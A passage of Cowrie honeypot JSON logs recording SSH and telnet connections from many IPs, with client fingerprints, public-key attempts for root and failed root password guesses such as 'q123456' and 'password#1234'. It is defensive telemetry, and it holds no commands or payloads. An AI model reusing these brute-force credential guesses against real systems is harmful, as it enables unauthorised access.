sh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:00.703180Z","src_ip":"62.193.106.227","session":"bc468f533a5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pld","message":"login attempt [root/pld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:01.316617Z","src_ip":"62.193.106.227","session":"bc468f533a5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:01.428803Z","src_ip":"43.159.169.93","session":"35836be587d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:02.467182Z","src_ip":"62.193.106.227","session":"bc468f533a5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49594,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1c4fa8049b4","protocol":"telnet","message":"New connection: 152.42.224.71:49594 (10.17.0.5:23) [session: b1c4fa8049b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:04.223085Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54292,"dst_ip":"10.17.0.5","dst_port":23,"session":"31d8923d0b3d","protocol":"telnet","message":"New connection: 152.42.224.71:54292 (10.17.0.5:23) [session: 31d8923d0b3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:06.511608Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.54.120","src_port":60082,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a588cc39112","protocol":"ssh","message":"New connection: 43.153.54.120:60082 (10.17.0.5:22) [session: 1a588cc39112]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:07.485656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:07.491416Z","src_ip":"43.153.54.120","session":"1a588cc39112","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:07.559392Z","src_ip":"43.153.54.120","session":"1a588cc39112","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q123456","message":"login attempt [root/q123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:07.860665Z","src_ip":"43.153.54.120","session":"1a588cc39112","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:08.931988Z","src_ip":"43.153.54.120","session":"1a588cc39112","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.147.93.208","src_port":52394,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae6312e28cb7","protocol":"ssh","message":"New connection: 194.147.93.208:52394 (10.17.0.5:22) [session: ae6312e28cb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:14.296756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:14.301848Z","src_ip":"194.147.93.208","session":"ae6312e28cb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:14.393396Z","src_ip":"194.147.93.208","session":"ae6312e28cb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password#1234","message":"login attempt [root/password#1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:14.789813Z","src_ip":"194.147.93.208","session":"ae6312e28cb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.76514530181885,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:14.927312Z","src_ip":"152.42.224.71","session":"96fefe512d52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.57.224.219","src_port":44452,"dst_ip":"10.17.0.5","dst_port":22,"session":"711d544c9368","protocol":"ssh","message":"New connection: 103.57.224.219:44452 (10.17.0.5:22) [session: 711d544c9368]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:15.398256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:15.403920Z","src_ip":"103.57.224.219","session":"711d544c9368","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:15.633342Z","src_ip":"103.57.224.219","session":"711d544c9368","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:15.892063Z","src_ip":"194.147.93.208","session":"ae6312e28cb7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8c:16:be:e8:62:b4:e8:d4:95:b2:66:67:01:22:d4:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSOApM8OjQ/a/FH7LE7JHMaNhC5byEvuiXu0ytiW/2W7vh3fvggFZ3CO26cBxI4PWWVktITeFPALeiiR7k4HMqc3kBYxh1Fg7QIKnGoc5hyNAu1sCfpva1jyQIXgISMvRfSAv1uWV0FtdsymIvZj/ZUoFmpjEp489/YyfQXz5DFtOZbhxOYuYGPRoIiikWq9bTDVjY2tc5xqYpTVIxiU4HfV7xBx3uDJlWIosLtNIT1Mi89Y0idowkCmQEMiVQ6lNtH6+yf1Uiy+WIiLGbNL8NE/7lDogmHnmWsyawovoQ5CZFSuQycoOV/G2VhiYtMzGc9VV5D6Dicg933RkKSL+h","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8c:16:be:e8:62:b4:e8:d4:95:b2:66:67:01:22:d4:14","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:16.743148Z","src_ip":"103.57.224.219","session":"711d544c9368","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8c:16:be:e8:62:b4:e8:d4:95:b2:66:67:01:22:d4:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSOApM8OjQ/a/FH7LE7JHMaNhC5byEvuiXu0ytiW/2W7vh3fvggFZ3CO26cBxI4PWWVktITeFPALeiiR7k4HMqc3kBYxh1Fg7QIKnGoc5hyNAu1sCfpva1jyQIXgISMvRfSAv1uWV0FtdsymIvZj/ZUoFmpjEp489/YyfQXz5DFtOZbhxOYuYGPRoIiikWq9bTDVjY2tc5xqYpTVIxiU4HfV7xBx3uDJlWIosLtNIT1Mi89Y0idowkCmQEMiVQ6lNtH6+yf1Uiy+WIiLGbNL8NE/7lDogmHnmWsyawovoQ5CZFSuQycoOV/G2VhiYtMzGc9VV5D6Dicg933RkKSL+h","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:16.747519Z","src_ip":"103.57.224.219","session":"711d544c9368","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8d:a7:67:24:f9:05:ff:d6:a7:a7:42:f0:13:84:2e:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0ajFHhPhsIuIHoLL0HQKMsCW8w/q4ytxQBF6B+LOwm07Bt2dnsK+SJFhjSqlEwmKx9qP4BchGDbH47+9WwUPKkbHLr8aWGzz4j6LkoVf4b0ktMNHTED6JicNG8CkjMU64rxYRx24luydMzmmfbdoJFobvVyvAsI0WUryLu49xyWbY79LJ/4eP0e/fUPbRM8dR2HrDNVJVnrh1E0ZdxuJEkNiED/6i3IVuhYSgDYb7QtKB2wDkST7w+eawyGrywxrOpoBRAE8tI+IXB5bMIBUh4RSFJXys1MXq9sc/J7kWdeBniG9mmaUguIQVhTKlqdCx6u1zXzQAb6cMddwkY0Zh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8d:a7:67:24:f9:05:ff:d6:a7:a7:42:f0:13:84:2e:62","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:16.975580Z","src_ip":"103.57.224.219","session":"711d544c9368","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8d:a7:67:24:f9:05:ff:d6:a7:a7:42:f0:13:84:2e:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0ajFHhPhsIuIHoLL0HQKMsCW8w/q4ytxQBF6B+LOwm07Bt2dnsK+SJFhjSqlEwmKx9qP4BchGDbH47+9WwUPKkbHLr8aWGzz4j6LkoVf4b0ktMNHTED6JicNG8CkjMU64rxYRx24luydMzmmfbdoJFobvVyvAsI0WUryLu49xyWbY79LJ/4eP0e/fUPbRM8dR2HrDNVJVnrh1E0ZdxuJEkNiED/6i3IVuhYSgDYb7QtKB2wDkST7w+eawyGrywxrOpoBRAE8tI+IXB5bMIBUh4RSFJXys1MXq9sc/J7kWdeBniG9mmaUguIQVhTKlqdCx6u1zXzQAb6cMddwkY0Zh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:16.979681Z","src_ip":"103.57.224.219","session":"711d544c9368","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c6:b9:50:55:9d:e2:f0:5e:35:6d:5a:df:50:07:0f:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCV2DSBdPg+2naAuqCrDYTrF8zDMQtueFt7yGNChjLN1R/MEsYttBot0VLDrTz1L9BUYgMQHdZ0LyrFodykCsQ8/rbt5yViThEGzQgcGytPo+yM+PWhL8MA5K/zopheYMnIXZW30hNHSe5u1ygnKzpTaFfGlGBvHRy0LjcODxUIi5Ju4ykFXnwzkm7+4VBwA9kmtKDN9EmjdRb13PtqkwRRpFtJOS1QDgvBPDAEprxzhu36zt5jIIF0x6SOF+axldDvR7qFU39LHLyDiYUOYKmiKYGHh9nHaN8TO/BxHb0PuzGxmGH5r4BL0nDCra73EO4sW2/jt/5e62BBo2P7dC9f","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c6:b9:50:55:9d:e2:f0:5e:35:6d:5a:df:50:07:0f:82","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:17.208537Z","src_ip":"103.57.224.219","session":"711d544c9368","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c6:b9:50:55:9d:e2:f0:5e:35:6d:5a:df:50:07:0f:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCV2DSBdPg+2naAuqCrDYTrF8zDMQtueFt7yGNChjLN1R/MEsYttBot0VLDrTz1L9BUYgMQHdZ0LyrFodykCsQ8/rbt5yViThEGzQgcGytPo+yM+PWhL8MA5K/zopheYMnIXZW30hNHSe5u1ygnKzpTaFfGlGBvHRy0LjcODxUIi5Ju4ykFXnwzkm7+4VBwA9kmtKDN9EmjdRb13PtqkwRRpFtJOS1QDgvBPDAEprxzhu36zt5jIIF0x6SOF+axldDvR7qFU39LHLyDiYUOYKmiKYGHh9nHaN8TO/BxHb0PuzGxmGH5r4BL0nDCra73EO4sW2/jt/5e62BBo2P7dC9f","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:17.212751Z","src_ip":"103.57.224.219","session":"711d544c9368","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"35:57:00:f8:f8:2c:5c:1f:59:75:db:dc:e2:fa:2a:92","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFIvd9dogdKle9NPkX4B9HcfaN13hcSfaKz6/hFdt9PE","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 35:57:00:f8:f8:2c:5c:1f:59:75:db:dc:e2:fa:2a:92","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:17.443885Z","src_ip":"103.57.224.219","session":"711d544c9368","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"35:57:00:f8:f8:2c:5c:1f:59:75:db:dc:e2:fa:2a:92","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFIvd9dogdKle9NPkX4B9HcfaN13hcSfaKz6/hFdt9PE","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:17.448075Z","src_ip":"103.57.224.219","session":"711d544c9368","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"02:ef:b1:bc:50:41:c1:fa:19:95:44:98:8f:cf:11:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsbLLFRciNdn/BeN0cIC594GwebnXYhr2JbqIi1eV0woOzt7bhkFSniJSK/n3OFePOFTYCQ+HH4i8PpnXVSFxJ48fHUdeVf/Xj1Wk+9S11jgaUwl5UVvP60Xam8uALY1Zss5wCmU6ETnta7Nkzciaf6I/AtDHltG+maZwLaTzn8kGdD4n55TuCU7Bo4qvHPspRyGgIm3IcWux5yaN6aoTiKLwYV+fYMJUeYUuQjL1AVyGXu/VCMdEyEhTZxMP4n2Ckfji91FaXGBMdF8tm7zg4fPpT2Z/zUE7HA9Gu14d20cLE1CHS+gPVa0SGzB6CXQMBTwwHfJ5IUAyaLez/wB7Bw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 02:ef:b1:bc:50:41:c1:fa:19:95:44:98:8f:cf:11:9c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:17.676294Z","src_ip":"103.57.224.219","session":"711d544c9368","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"02:ef:b1:bc:50:41:c1:fa:19:95:44:98:8f:cf:11:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsbLLFRciNdn/BeN0cIC594GwebnXYhr2JbqIi1eV0woOzt7bhkFSniJSK/n3OFePOFTYCQ+HH4i8PpnXVSFxJ48fHUdeVf/Xj1Wk+9S11jgaUwl5UVvP60Xam8uALY1Zss5wCmU6ETnta7Nkzciaf6I/AtDHltG+maZwLaTzn8kGdD4n55TuCU7Bo4qvHPspRyGgIm3IcWux5yaN6aoTiKLwYV+fYMJUeYUuQjL1AVyGXu/VCMdEyEhTZxMP4n2Ckfji91FaXGBMdF8tm7zg4fPpT2Z/zUE7HA9Gu14d20cLE1CHS+gPVa0SGzB6CXQMBTwwHfJ5IUAyaLez/wB7Bw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:17.680449Z","src_ip":"103.57.224.219","session":"711d544c9368","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:17.906773Z","src_ip":"103.57.224.219","session":"711d544c9368","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.35.21","src_port":58962,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8acce831440","protocol":"ssh","message":"New connection: 43.159.35.21:58962 (10.17.0.5:22) [session: f8acce831440]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:25.331241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:25.335909Z","src_ip":"43.159.35.21","session":"f8acce831440","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:25.573883Z","src_ip":"43.159.35.21","session":"f8acce831440","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.490389823913574,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:25.595609Z","src_ip":"152.42.224.71","session":"24cdf22abf88","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"456456","message":"login attempt [root/456456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:26.557183Z","src_ip":"43.159.35.21","session":"f8acce831440","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:27.801960Z","src_ip":"43.159.35.21","session":"f8acce831440","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45880,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e97efa1c8a3","protocol":"telnet","message":"New connection: 152.42.224.71:45880 (10.17.0.5:23) [session: 9e97efa1c8a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:28.248024Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.83.13.181","src_port":45206,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4f5e5d1b13e","protocol":"ssh","message":"New connection: 154.83.13.181:45206 (159.203.135.109:22) [session: d4f5e5d1b13e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:30.968210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:30.974566Z","src_ip":"154.83.13.181","session":"d4f5e5d1b13e","protocol":"ssh"}
